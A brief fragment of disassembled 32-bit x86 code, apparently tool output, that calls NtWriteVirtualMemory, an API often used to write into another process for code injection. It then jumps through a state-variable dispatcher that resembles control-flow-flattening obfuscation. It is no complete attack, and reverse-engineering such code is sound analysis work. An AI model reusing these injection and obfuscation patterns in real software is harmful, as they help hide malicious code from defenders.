sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x180], 0x105f2a2d
jmp 0x10006df0
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x180], 0x57234c17
jmp 0x10006df0
mov dword [ebp - 0x180], 0xea02a563
jmp 0x10006df0
jmp 0x10003660